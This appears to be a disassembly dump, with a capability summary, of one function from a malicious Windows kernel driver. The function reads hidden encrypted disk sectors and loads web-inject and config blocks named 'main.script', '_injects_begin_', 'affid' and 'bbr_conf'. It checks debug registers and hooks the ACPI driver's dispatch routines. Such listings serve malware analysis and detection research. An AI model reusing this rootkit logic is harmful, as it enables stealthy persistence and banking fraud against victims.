Function at 0x401449
Capabilities:
Access pe header
Create thread
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x1a8
push ebx
xor ebx, ebx
push esi
mov esi, dword [ebp + 0x78]
cmp dword [esi + 0xc], ebx
push edi
mov dword [ebp + 0x60], ebx
mov dword [ebp + 0x2c], ebx
mov dword [ebp + 0x48], ebx
mov byte [ebp + 0x53], bl
mov dword [ebp + 0x4c], ebx
je 0x4014f5
cmp dword [ebp + 0x7c], ebx
je 0x4014f5
push ebx
push 0x4011a0
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp + 0x4c]
push eax
call dword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
cmp dword [ebp + 0x4c], ebx
je 0x4014b5
push ebx
push 0x41cda4
push ebx
push ebx
push 0x1fffff
push dword [ebp + 0x4c]
call dword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
test eax, eax
jne 0x4014d5
push dword [ebp + 0x4c]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [0x41cda4]
cmp eax, ebx
je 0x4014db
push ebx
push ebx
push ebx
push ebx
push eax
call dword [sym.imp.ntoskrnl.exe_KeWaitForSingleObject]
mov ecx, dword [0x41cda4]
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov dword [0x41cda4], ebx
cmp dword [0x41d028], ebx
jne 0x4014ed
mov eax, 0xc0000702
jmp 0x402935
cmp byte [0x41d082], bl
jne 0x4014e3
push 0x41cdf8
call dword [sym.imp.ntoskrnl.exe_ExInitializeResourceLite]
cmp dword [esi + 0xc], ebx
je 0x401607
cmp dword [ebp + 0x7c], ebx
je 0x401607
mov esi, dword [ebp + 0x7c]
push dword [esi + 4]
call sub.ntoskrnl.exe_wcslen
lea eax, [eax + eax + 2]
push eax
push dword [esi + 4]
push 0x41d0b8
call sub.ntoskrnl.exe_memcpy
add esp, 0x10
push dword [esi + 4]
mov esi, 0x41d088
push esi
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
push 0xf003f
lea eax, [ebp + 0x40]
push eax
mov dword [ebp - 0x1c], 0x18
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], 0x40
mov dword [ebp - 0x14], esi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp + 0x40], ebx
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
jl 0x40173a
push str.ImagePath
push esi
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov dword [ebp + 0x64], 0x80
xor edi, edi
mov dword [ebp + 0x44], ebx
mov eax, dword [ebp + 0x64]
cmp edi, eax
jge 0x4015af
sub eax, edi
call fcn.004081c0
mov edi, dword [ebp + 0x64]
mov dword [ebp + 0x44], esp
lea eax, [ebp + 0x64]
push eax
push edi
push dword [ebp + 0x44]
push 2
push esi
push dword [ebp + 0x40]
call dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
cmp eax, 0x80000005
je 0x40159b
cmp eax, ebx
jge 0x4015d7
mov byte [0x41d081], 1
jmp 0x4015fe
cmp dword [ebp + 0x64], ebx
je 0x4015fe
mov esi, dword [ebp + 0x44]
add esi, 0xc
push esi
mov dword [ebp + 0x3c], esi
call sub.ntoskrnl.exe_wcslen
lea eax, [eax + eax + 2]
push eax
push esi
push 0x41d2c0
call sub.ntoskrnl.exe_memcpy
add esp, 0x10
push dword [ebp + 0x40]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push 0x4092e4
push 0x41cdb8
call esi
lea eax, [ebp - 0x138]
push eax
push str.volsnap.sys
call fcn.0040444a
test eax, eax
jne 0x401637
mov eax, dword [ebp - 0x130]
mov dword [ebp + 0x48], eax
mov eax, dword [ebp + 0x48]
push ebx
push ebx
push 0x41d038
push 0x41d034
mov dword [0x41d4d0], eax
call dword [sym.imp.ntoskrnl.exe_PsGetVersion]
push 0x4092ac
lea eax, [ebp + 0x1c]
push eax
call esi
push 0x400
push ebx
push ebx
push ebx
push ebx
push ebx
push 1
push 7
push ebx
lea eax, [ebp + 0x1c]
push ebx
mov dword [ebp + 0xc], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp + 4]
push eax
push 1
push 0x41cdcc
mov dword [ebp + 4], 0x18
mov dword [ebp + 8], ebx
mov dword [ebp + 0x10], 0x240
mov dword [ebp + 0x14], ebx
mov dword [ebp + 0x18], ebx
call dword [sym.imp.ntoskrnl.exe_IoCreateFile]
test eax, eax
jl 0x402930
push ebx
push 0x41cf4c
push ebx
push ebx
push ebx
push dword [0x41cdcc]
call dword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
test eax, eax
jl 0x402929
mov eax, dword [0x41cf4c]
mov esi, dword [eax + 4]
mov edi, dword [sym.imp.ntoskrnl.exe_IoGetLowerDeviceObject]
push esi
mov dword [ebp + 0x54], esi
mov dword [0x41d03c], esi
call edi
cmp eax, ebx
mov dword [ebp + 0x44], eax
je 0x40171b
mov eax, dword [eax + 8]
push str.DriverACPI
push dword [eax + 0x20]
call sub.ntoskrnl.exe_wcscmp
test eax, eax
pop ecx
pop ecx
je 0x401713
mov eax, dword [ebp + 0x44]
mov eax, dword [eax + 8]
push str.Driver_acpi
push dword [eax + 0x20]
call sub.ntoskrnl.exe_wcscmp
test eax, eax
pop ecx
pop ecx
jne 0x40171b
push dword [ebp + 0x44]
call edi
mov dword [ebp + 0x2c], eax
push 0x41d044
push 0x41d040
push ebx
push esi
call fcn.00402caf
test al, al
jne 0x401744
mov eax, 0xc000011b
jmp 0x402935
mov eax, 0xc0000450
jmp 0x402935
mov eax, dword [0x41d044]
mov ecx, dword [0x41cf4c]
mov dword [0x41d048], eax
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, dword [0x41cdcc]
cmp eax, ebx
je 0x40176a
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [ebp + 0x78]
cmp dword [eax + 0xc], ebx
je 0x401866
cmp dword [ebp + 0x7c], ebx
je 0x401866
mov edi, dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov esi, 0x73737373
push esi
push dword [0x41d044]
push ebx
call edi
push esi
push dword [0x41d044]
mov dword [ebp + 0x5c], eax
push ebx
call edi
cmp dword [ebp + 0x5c], ebx
mov dword [ebp + 0x6c], eax
je 0x4018dd
push dword [0x41d044]
push ebx
push dword [ebp + 0x5c]
call sub.ntoskrnl.exe_memset
push dword [0x41d044]
push ebx
push dword [ebp + 0x6c]
call sub.ntoskrnl.exe_memset
mov esi, str.testbufferforwrk
push esi
call sub.ntoskrnl.exe_strlen
push eax
push esi
push dword [ebp + 0x5c]
call sub.ntoskrnl.exe_memcpy
mov esi, dword [0x41d040]
add esp, 0x28
mov dword [ebp + 0x58], ebx
push dword [0x41d044]
push ebx
push dword [ebp + 0x6c]
call sub.ntoskrnl.exe_memset
add esp, 0xc
push ebx
push dword [0x41d044]
push dword [ebp + 0x5c]
push 1
push esi
push dword [ebp + 0x54]
call fcn.00402db2
test al, al
je 0x401849
push ebx
push dword [ebp + 0x6c]
push dword [0x41d044]
push esi
push ebx
push dword [ebp + 0x54]
call fcn.00402e8d
test al, al
je 0x401849
push dword [0x41d044]
push dword [ebp + 0x6c]
push dword [ebp + 0x5c]
call dword [sym.imp.ntoskrnl.exe_RtlCompareMemory]
cmp eax, dword [0x41d044]
je 0x401858
dec esi
inc dword [ebp + 0x58]
cmp dword [ebp + 0x58], 0x3e8
jl 0x4017ec
jmp 0x40185e
mov dword [0x41d040], esi
mov dword [0x41d06c], esi
jmp 0x4018dd
mov eax, dword [0x41d040]
mov edi, dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
push 0x73737373
push dword [0x41d044]
mov dword [ebp + 0x5c], eax
push ebx
call edi
mov esi, eax
cmp esi, ebx
je 0x4018dd
push dword [0x41d044]
push ebx
push esi
call sub.ntoskrnl.exe_memset
add esp, 0xc
mov dword [ebp + 0x58], ebx
push ebx
push esi
push dword [0x41d044]
push dword [ebp + 0x5c]
push ebx
push dword [ebp + 0x54]
call fcn.00402e8d
test al, al
je 0x4018c4
cmp dword [esi], 0x312489
jne 0x4018c4
cmp dword [esi + 4], 0x476890
je 0x4018d5
dec dword [ebp + 0x5c]
inc dword [ebp + 0x58]
cmp dword [ebp + 0x58], 0x3e8
jl 0x40189b
jmp 0x4018dd
mov eax, dword [ebp + 0x5c]
mov dword [0x41d040], eax
mov eax, dword [0x41d044]
sub dword [0x41d040], 2
imul eax, eax, 3
push 0x67676767
push eax
push ebx
call edi
mov esi, eax
mov eax, dword [0x41d044]
imul eax, eax, 3
push eax
push ebx
push esi
call sub.ntoskrnl.exe_memset
add esp, 0xc
cmp esi, ebx
je 0x4023fe
mov eax, dword [0x41d044]
imul eax, eax, 3
push 0x12345678
push esi
push eax
push dword [0x41d040]
push ebx
push dword [ebp + 0x54]
call fcn.00402e8d
test al, al
je 0x402652
mov dword [ebp + 0x60], esi
add esi, 0x400
cmp dword [esi], 0x312489
jne 0x4019a5
cmp dword [esi + 4], 0x476890
jne 0x4019a5
push 0x20
add esi, 0x10
push esi
push 0x41d098
call sub.ntoskrnl.exe_memcpy
mov eax, dword [ebp + 0x2c]
add esp, 0xc
cmp eax, ebx
mov byte [ebp + 0x53], 1
jne 0x401973
mov eax, dword [ebp + 0x44]
mov dword [0x41cf3c], eax
mov eax, dword [eax + 8]
add eax, 0x70
mov dword [ebp + 0x58], ebx
mov dword [ebp + 0x68], ebx
push ebx
mov ebx, dr0
mov dword [ebp + 0x58], ebx
mov ebx, dr7
mov dword [ebp + 0x68], ebx
pop ebx
cmp dword [ebp + 0x58], eax
jne 0x401a7e
mov eax, 0xc000036c
jmp 0x402935
mov edi, 0x41d098
push edi
push 0xff
push 1
call fcn.0040295b
push 0x20
lea eax, [esi + 0x10]
push edi
push eax
mov dword [esi], 0x312489
mov dword [esi + 4], 0x476890
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
push dword [0x41d044]
lea eax, [ebp + 0x60]
push dword [0x41d040]
mov byte [ebp + 0x53], bl
push esi
push eax
push dword [ebp + 0x3c]
push dword [ebp + 0x54]
call fcn.004033ce
cmp eax, ebx
jl 0x402935
mov eax, dword [0x41d044]
mov edi, dword [section..data]
lea esi, [edi + eax - 1]
dec eax
not eax
push 0x73737373
and esi, eax
push esi
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebx
mov dword [ebp + 0x58], eax
je 0x401a80
push esi
push ebx
push eax
call sub.ntoskrnl.exe_memset
push edi
push 0x40a018
push dword [ebp + 0x58]
call sub.ntoskrnl.exe_memcpy
add esp, 0x18
push dword [0x41d03c]
push dword [ebp + 0x60]
push edi
push dword [ebp + 0x58]
push 0x40924c
push 0x409248
push 0x186a0
call fcn.00404ea1
test eax, eax
jge 0x401a6e
mov eax, 0xc0000142
jmp 0x402935
push 0x73737373
push dword [ebp + 0x58]
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
jmp 0x401a80
xor ebx, ebx
mov eax, dword [0x41d044]
push 0x41d098
add eax, eax
push eax
push dword [ebp + 0x60]
call fcn.00402945
mov eax, dword [ebp + 0x60]
cmp dword [eax + 0xbc], ebx
je 0x4023fe
mov eax, dword [eax + 0xb0]
push 0x67676767
push eax
push ebx
mov dword [ebp + 0x68], eax
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebx
mov dword [0x41d04c], eax
jne 0x401acd
mov eax, 0xc0000017
jmp 0x402935
mov eax, dword [ebp + 0x68]
mov ecx, dword [ebp + 0x60]
mov ecx, dword [ecx + 0xb4]
mov esi, eax
shr esi, 0xc
and eax, 0xfff
xor edi, edi
cmp esi, ebx
mov dword [ebp + 0x64], eax
mov dword [ebp + 0x6c], ecx
jle 0x401b28
mov dword [ebp + 0x58], ebx
mov eax, dword [ebp + 0x58]
mov ecx, dword [0x41d04c]
push ebx
add ecx, eax
push ecx
push 0x1000
push dword [ebp + 0x6c]
push ebx
push dword [ebp + 0x54]
call fcn.00402e8d
test al, al
je 0x401b58
add dword [ebp + 0x6c], 8
add dword [ebp + 0x58], 0x1000
inc edi
dec esi
cmp esi, ebx
jg 0x401af2
mov eax, dword [ebp + 0x64]
cmp eax, ebx
je 0x401b62
push 0x12345678
shl edi, 0xc
add edi, dword [0x41d04c]
push edi
push dword [ebp + 0x64]
push dword [ebp + 0x6c]
push ebx
push dword [ebp + 0x54]
call fcn.00402e8d
test al, al
jne 0x401b62
mov eax, 0xc000013f
jmp 0x402935
mov eax, 0xc0000804
jmp 0x402935
mov eax, dword [ebp + 0x60]
push 0x41d098
push dword [eax + 0x6c]
push dword [0x41d04c]
call fcn.00402945
mov ecx, dword [ebp + 0x60]
mov eax, dword [ecx + 0x70]
mov esi, dword [0x41d048]
mov dword [0x41d058], eax
mov eax, dword [ecx + 0x6c]
mov dword [0x41d05c], eax
mov eax, dword [ebp + 0x68]
xor edx, edx
div esi
mov edx, dword [ecx + 0x70]
lea eax, [eax + edx - 1]
mov edx, dword [0x41d040]
mov dword [0x41d060], eax
mov eax, dword [ecx + 0x6c]
mov dword [0x41d054], eax
mov eax, dword [ecx + 0xb4]
sub edx, eax
imul edx, esi
mov dword [0x41d064], eax
mov dword [0x41d068], edx
mov eax, dword [ecx + 0x3c]
cmp eax, ebx
je 0x401bd4
mov dword [0x41d064], eax
mov eax, dword [0x41d044]
imul eax, eax, 3
push 0x44
pop esi
xor edx, edx
div esi
push str.main.script
push dword [ebp + 0x54]
push ecx
dec eax
mov dword [ebp + 0x5c], eax
call fcn.00404b78
cmp eax, ebx
mov dword [0x41d730], eax
jne 0x401c1b
push str.backup.script
push dword [ebp + 0x54]
push dword [ebp + 0x60]
call fcn.00404b78
cmp eax, ebx
mov dword [0x41d730], eax
je 0x401e39
push 0x41d074
push str._injects_end_
push str._injects_begin_
push eax
call fcn.00405ca6
cmp eax, ebx
mov dword [ebp + 0x58], eax
je 0x401e39
lea eax, [ebp + 0x64]
push eax
push str._block_by_crc_end_
push str._block_by_crc_begin_
push dword [0x41d730]
mov dword [ebp + 0x64], ebx
call fcn.00405bdc
cmp eax, ebx
mov dword [ebp + 0x3c], eax
je 0x401e39
mov eax, dword [ebp + 0x64]
mov esi, dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [0x41d4cc], eax
push 0x67676767
shl eax, 2
push eax
push ebx
call esi
cmp eax, ebx
mov dword [0x41d4c8], eax
je 0x401cb8
mov ecx, dword [ebp + 0x64]
shl ecx, 2
push ecx
push ebx
push eax
call sub.ntoskrnl.exe_memset
add esp, 0xc
xor edi, edi
cmp dword [ebp + 0x64], ebx
jbe 0x401cb8
mov eax, dword [ebp + 0x3c]
push dword [eax + edi*4]
call sub.ntoskrnl.exe_atoi
pop ecx
mov ecx, dword [0x41d4c8]
mov dword [ecx + edi*4], eax
inc edi
cmp edi, dword [ebp + 0x64]
jb 0x401c9d
mov eax, dword [0x41d074]
imul eax, eax, 0x7c
push 0x73737373
push eax
push ebx
call esi
cmp eax, ebx
mov dword [0x41d070], eax
jne 0x401cdc
mov eax, 0xc0000001
jmp 0x402935
mov ecx, dword [0x41d074]
imul ecx, ecx, 0x7c
push ecx
push ebx
push eax
call sub.ntoskrnl.exe_memset
add esp, 0xc
cmp dword [0x41d074], ebx
mov dword [ebp + 0x68], ebx
jbe 0x401e3f
mov esi, dword [ebp + 0x58]
xor edi, edi
add esi, 4
mov eax, dword [0x41d070]
add eax, edi
mov dword [eax + 4], eax
mov dword [eax], eax
push dword [esi]
call sub.ntoskrnl.exe_strlen
cmp eax, ebx
pop ecx
mov ecx, dword [esi]
mov dword [ebp + 0x28], eax
mov dword [ebp + 0x40], ecx
mov dword [ebp + 0x6c], ebx
jbe 0x401d9e
mov eax, dword [esi]
mov ecx, dword [ebp + 0x6c]
add eax, ecx
cmp byte [eax], 0x2c
jne 0x401d93
push 0x3c
push ebx
mov byte [eax], bl
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
push 0x3c
push ebx
push eax
mov dword [ebp + 0x58], eax
call sub.ntoskrnl.exe_memset
add esp, 0xc
cmp dword [ebp + 0x58], ebx
je 0x401d93
push dword [ebp + 0x40]
call sub.ntoskrnl.exe_strlen
push eax
mov eax, dword [ebp + 0x58]
push dword [ebp + 0x40]
add eax, 8
push eax
call sub.ntoskrnl.exe_memcpy
mov eax, dword [0x41d070]
mov ecx, dword [ebp + 0x58]
add esp, 0x10
add eax, edi
mov edx, dword [eax + 4]
mov dword [ecx], eax
mov dword [ecx + 4], edx
mov dword [edx], ecx
mov dword [eax + 4], ecx
mov eax, dword [esi]
mov ecx, dword [ebp + 0x6c]
lea eax, [eax + ecx + 1]
mov dword [ebp + 0x40], eax
inc dword [ebp + 0x6c]
mov eax, dword [ebp + 0x6c]
cmp eax, dword [ebp + 0x28]
jb 0x401d2a
push dword [esi - 4]
call sub.ntoskrnl.exe_strlen
push eax
mov eax, dword [0x41d070]
push dword [esi - 4]
lea eax, [eax + edi + 8]
push eax
call sub.ntoskrnl.exe_memcpy
push dword [esi]
call sub.ntoskrnl.exe_strlen
push eax
mov eax, dword [0x41d070]
push dword [esi]
lea eax, [eax + edi + 0x3a]
push eax
call sub.ntoskrnl.exe_memcpy
add esp, 0x20
lea eax, [ebp + 0x3c]
push eax
mov eax, dword [0x41d070]
lea eax, [eax + edi + 8]
push eax
push dword [ebp + 0x54]
mov dword [ebp + 0x3c], ebx
push dword [ebp + 0x60]
call fcn.004049d7
mov ecx, dword [0x41d070]
mov dword [ecx + edi + 0x70], eax
mov eax, dword [0x41d070]
mov ecx, dword [ebp + 0x3c]
mov dword [eax + edi + 0x74], ecx
mov eax, dword [0x41d070]
add eax, edi
cmp dword [eax + 0x70], ebx
je 0x401e39
cmp dword [eax + 0x74], ebx
je 0x401e39
inc dword [ebp + 0x68]
mov eax, dword [ebp + 0x68]
add esi, 8
add edi, 0x7c
cmp eax, dword [0x41d074]
mov byte [0x41d080], 1
jb 0x401d07
jmp 0x401e3f
mov byte [0x41d080], bl
push 3
pop edi
cmp dword [ebp + 0x5c], edi
jb 0x401f67
mov esi, 0xcc
mov eax, dword [ebp + 0x60]
add eax, esi
cmp eax, ebx
je 0x401e6a
push str.affid
push eax
call sub.ntoskrnl.exe_wcscmp
test eax, eax
pop ecx
pop ecx
je 0x401e78
inc edi
add esi, 0x44
cmp edi, dword [ebp + 0x5c]
jbe 0x401e50
jmp 0x401f67
mov eax, dword [ebp + 0x60]
imul edi, edi, 0x44
mov ecx, dword [edi + eax + 0x34]
mov eax, dword [0x41d044]
lea esi, [ecx + eax - 1]
dec eax
not eax
push 0x67676767
and esi, eax
push esi
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebx
mov dword [0x41ddf0], eax
je 0x402318
push esi
push ebx
push eax
call sub.ntoskrnl.exe_memset
mov eax, dword [ebp + 0x60]
add eax, edi
mov ecx, dword [eax + 0x34]
mov edi, esi
and esi, 0xfff
mov dword [0x41ddf4], ecx
mov eax, dword [eax + 0x2c]
shr edi, 0xc
mov dword [ebp + 0x64], esi
add esp, 0xc
xor esi, esi
cmp edi, ebx
mov dword [ebp + 0x6c], eax
jle 0x401f16
mov dword [ebp + 0x68], ebx
mov eax, dword [0x41ddf0]
mov ecx, dword [ebp + 0x68]
push 0x12345678
add ecx, eax
push ecx
push 0x1000
push dword [ebp + 0x6c]
push ebx
push dword [ebp + 0x54]
call fcn.00402e8d
test al, al
je 0x401f47
add dword [ebp + 0x6c], 8
add dword [ebp + 0x68], 0x1000
inc esi
dec edi
cmp edi, ebx
jg 0x401ee0
cmp dword [ebp + 0x64], ebx
je 0x401f51
push 0x12345678
shl esi, 0xc
add esi, dword [0x41ddf0]
push esi
push dword [ebp + 0x64]
push dword [ebp + 0x6c]
push ebx
push dword [ebp + 0x54]
call fcn.00402e8d
test al, al
jne 0x401f51
mov eax, 0xc0000123
jmp 0x402935
mov eax, 0xc0000805
jmp 0x402935
push 0x41d098
push dword [0x41ddf4]
push dword [0x41ddf0]
call fcn.00402945
push 3
pop edi
cmp dword [ebp + 0x5c], edi
jb 0x402083
mov esi, 0xcc
mov eax, dword [ebp + 0x60]
add eax, esi
cmp eax, ebx
je 0x401f92
push str.subid
push eax
call sub.ntoskrnl.exe_wcscmp
test eax, eax
pop ecx
pop ecx
je 0x401fa0
inc edi
add esi, 0x44
cmp edi, dword [ebp + 0x5c]
jbe 0x401f78
jmp 0x402083
mov eax, dword [ebp + 0x60]
imul edi, edi, 0x44
mov ecx, dword [edi + eax + 0x34]
mov eax, dword [0x41d044]
lea esi, [ecx + eax - 1]
dec eax
not eax
push 0x67676767
and esi, eax
push esi
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebx
mov dword [0x41ddf8], eax
je 0x402318
push esi
push ebx
push eax
call sub.ntoskrnl.exe_memset
mov eax, dword [ebp + 0x60]
add eax, edi
mov ecx, dword [eax + 0x34]
mov edi, esi
and esi, 0xfff
mov dword [0x41ddfc], ecx
mov eax, dword [eax + 0x2c]
shr edi, 0xc
mov dword [ebp + 0x64], esi
add esp, 0xc
xor esi, esi
cmp edi, ebx
mov dword [ebp + 0x6c], eax
jle 0x402042
mov dword [ebp + 0x68], ebx
mov eax, dword [0x41ddf8]
mov ecx, dword [ebp + 0x68]
push 0x12345678
add ecx, eax
push ecx
push 0x1000
push dword [ebp + 0x6c]
push ebx
push dword [ebp + 0x54]
call fcn.00402e8d
test al, al
je 0x401f47
add dword [ebp + 0x6c], 8
add dword [ebp + 0x68], 0x1000
inc esi
dec edi
cmp edi, ebx
jg 0x402008
cmp dword [ebp + 0x64], ebx
je 0x40206d
push 0x12345678
shl esi, 0xc
add esi, dword [0x41ddf8]
push esi
push dword [ebp + 0x64]
push dword [ebp + 0x6c]
push ebx
push dword [ebp + 0x54]
call fcn.00402e8d
test al, al
je 0x401f3d
push 0x41d098
push dword [0x41ddfc]
push dword [0x41ddf8]
call fcn.00402945
push 3
pop edi
cmp dword [ebp + 0x5c], edi
jb 0x40219f
mov esi, 0xcc
mov eax, dword [ebp + 0x60]
add eax, esi
cmp eax, ebx
je 0x4020ae
push 0x4091a8
push eax
call sub.ntoskrnl.exe_wcscmp
test eax, eax
pop ecx
pop ecx
je 0x4020bc
inc edi
add esi, 0x44
cmp edi, dword [ebp + 0x5c]
jbe 0x402094
jmp 0x40219f
mov eax, dword [ebp + 0x60]
imul edi, edi, 0x44
mov ecx, dword [edi + eax + 0x34]
mov eax, dword [0x41d044]
lea esi, [ecx + eax - 1]
dec eax
not eax
push 0x67676767
and esi, eax
push esi
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebx
mov dword [0x41de00], eax
je 0x402318
push esi
push ebx
push eax
call sub.ntoskrnl.exe_memset
mov eax, dword [ebp + 0x60]
add eax, edi
mov ecx, dword [eax + 0x34]
mov edi, esi
and esi, 0xfff
mov dword [0x41de04], ecx
mov eax, dword [eax + 0x2c]
shr edi, 0xc
mov dword [ebp + 0x64], esi
add esp, 0xc
xor esi, esi
cmp edi, ebx
mov dword [ebp + 0x6c], eax
jle 0x40215e
mov dword [ebp + 0x68], ebx
mov eax, dword [0x41de00]
mov ecx, dword [ebp + 0x68]
push 0x12345678
add ecx, eax
push ecx
push 0x1000
push dword [ebp + 0x6c]
push ebx
push dword [ebp + 0x54]
call fcn.00402e8d
test al, al
je 0x401f47
add dword [ebp + 0x6c], 8
add dword [ebp + 0x68], 0x1000
inc esi
dec edi
cmp edi, ebx
jg 0x402124
cmp dword [ebp + 0x64], ebx
je 0x402189
push 0x12345678
shl esi, 0xc
add esi, dword [0x41de00]
push esi
push dword [ebp + 0x64]
push dword [ebp + 0x6c]
push ebx
push dword [ebp + 0x54]
call fcn.00402e8d
test al, al
je 0x401f3d
push 0x41d098
push dword [0x41de04]
push dword [0x41de00]
call fcn.00402945
push 3
pop edi
cmp dword [ebp + 0x5c], edi
jb 0x4022b1
mov esi, 0xcc
mov eax, dword [ebp + 0x60]
add eax, esi
cmp eax, ebx
je 0x4021ca
push str.bbr_conf
push eax
call sub.ntoskrnl.exe_wcscmp
test eax, eax
pop ecx
pop ecx
je 0x4021d8
inc edi
add esi, 0x44
cmp edi, dword [ebp + 0x5c]
jbe 0x4021b0
jmp 0x4022b1
mov eax, dword [ebp + 0x60]
imul edi, edi, 0x44
mov ecx, dword [edi + eax + 0x34]
mov eax, dword [0x41d044]
lea esi, [ecx + eax - 1]
dec eax
not eax
push 0x67676767
and esi, eax
push esi
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebx
mov dword [0x41cfec], eax
je 0x402318
mov eax, dword [ebp + 0x60]
add eax, edi
mov ecx, dword [eax + 0x34]
mov edi, esi
and esi, 0xfff
mov dword [0x41cff0], ecx
mov eax, dword [eax + 0x2c]
shr edi, 0xc
mov dword [ebp + 0x64], esi
xor esi, esi
cmp edi, ebx
mov dword [ebp + 0x6c], eax
jle 0x402270
mov dword [ebp + 0x68], ebx
mov ecx, dword [0x41cfec]
mov eax, dword [ebp + 0x68]
push 0x12345678
add eax, ecx
push eax
push 0x1000
push dword [ebp + 0x6c]
push ebx
push dword [ebp + 0x54]
call fcn.00402e8d
test al, al
je 0x401f47
add dword [ebp + 0x6c], 8
add dword [ebp + 0x68], 0x1000
inc esi
dec edi
cmp edi, ebx
jg 0x402235
cmp dword [ebp + 0x64], ebx
je 0x40229b
push 0x12345678
shl esi, 0xc
add esi, dword [0x41cfec]
push esi
push dword [ebp + 0x64]
push dword [ebp + 0x6c]
push ebx
push dword [ebp + 0x54]
call fcn.00402e8d
test al, al
je 0x401f3d
push 0x41d098
push dword [0x41cff0]
push dword [0x41cfec]
call fcn.00402945
push 3
pop edi
cmp dword [ebp + 0x5c], edi
jb 0x4023ca
mov esi, 0xcc
mov eax, dword [ebp + 0x60]
add eax, esi
cmp eax, ebx
je 0x4022dc
push str.serf_conf
push eax
call sub.ntoskrnl.exe_wcscmp
test eax, eax
pop ecx
pop ecx
je 0x4022ea
inc edi
add esi, 0x44
cmp edi, dword [ebp + 0x5c]
jbe 0x4022c2
jmp 0x4023ca
mov eax, dword [ebp + 0x60]
imul edi, edi, 0x44
mov ecx, dword [edi + eax + 0x34]
mov eax, dword [0x41d044]
lea esi, [ecx + eax - 1]
dec eax
not eax
push 0x67676767
and esi, eax
push esi
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebx
mov dword [0x41cff4], eax
jne 0x402323
mov byte [0x41d080], bl
jmp 0x402925
mov eax, dword [ebp + 0x60]
add eax, edi
mov ecx, dword [eax + 0x34]
mov edi, esi
and esi, 0xfff
mov dword [0x41cff8], ecx
mov eax, dword [eax + 0x2c]
shr edi, 0xc
mov dword [ebp + 0x64], esi
xor esi, esi
cmp edi, ebx
mov dword [ebp + 0x6c], eax
jle 0x402389
mov dword [ebp + 0x68], ebx
mov eax, dword [ebp + 0x68]
mov ecx, dword [0x41cff4]
push 0x12345678
add ecx, eax
push ecx
push 0x1000
push dword [ebp + 0x6c]
push ebx
push dword [ebp + 0x54]
call fcn.00402e8d
test al, al
je 0x401f47
add dword [ebp + 0x6c], 8
add dword [ebp + 0x68], 0x1000
inc esi
dec edi
cmp edi, ebx
jg 0x40234e
cmp dword [ebp + 0x64], ebx
je 0x4023b4
push 0x12345678
shl esi, 0xc
add esi, dword [0x41cff4]
push esi
push dword [ebp + 0x64]
push dword [ebp + 0x6c]
push ebx
push dword [ebp + 0x54]
call fcn.00402e8d
test al, al
je 0x401f3d
push 0x41d098
push dword [0x41cff8]
push dword [0x41cff4]
call fcn.00402945
push 3
pop edi
cmp dword [ebp + 0x5c], edi
jb 0x4023fe
mov esi, 0xcc
mov eax, dword [ebp + 0x60]
add eax, esi
cmp eax, ebx
je 0x4023f5
push 0x40924c
push eax
call sub.ntoskrnl.exe_wcscmp
test eax, eax
pop ecx
pop ecx
je 0x402574
inc edi
add esi, 0x44
cmp edi, dword [ebp + 0x5c]
jbe 0x4023d7
mov esi, dword [ebp + 0x2c]
cmp esi, ebx
jne 0x402408
mov esi, dword [ebp + 0x44]
mov dword [0x41cf3c], esi
mov eax, dword [esi + 8]
mov eax, dword [eax + 0x74]
mov dword [0x41d004], eax
mov ecx, dword [esi + 8]
mov ecx, dword [ecx + 0x70]
push 0x61616161
mov edi, 0x1000
push edi
push ebx
mov dword [0x41d000], ecx
mov dword [0x41cf7c], ecx
mov dword [0x41cdc4], eax
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebx
mov dword [0x41d030], eax
je 0x401ac3
push edi
push ebx
push eax
call sub.ntoskrnl.exe_memset
add esp, 0xc
xor eax, eax
mov ecx, dword [esi + 8]
mov ecx, dword [eax + ecx + 0x38]
mov edx, dword [0x41d030]
mov dword [edx + eax], ecx
add eax, 4
cmp eax, 0x6c
jl 0x40245c
mov ecx, dword [esi + 8]
mov eax, 0x4011ed
mov dword [ecx + 0x74], eax
mov dword [0x41ce34], eax
mov dword [0x41cf8c], 0x401397
mov eax, dword [esi + 8]
mov eax, dword [eax + 0x70]
mov dword [0x41d010], eax
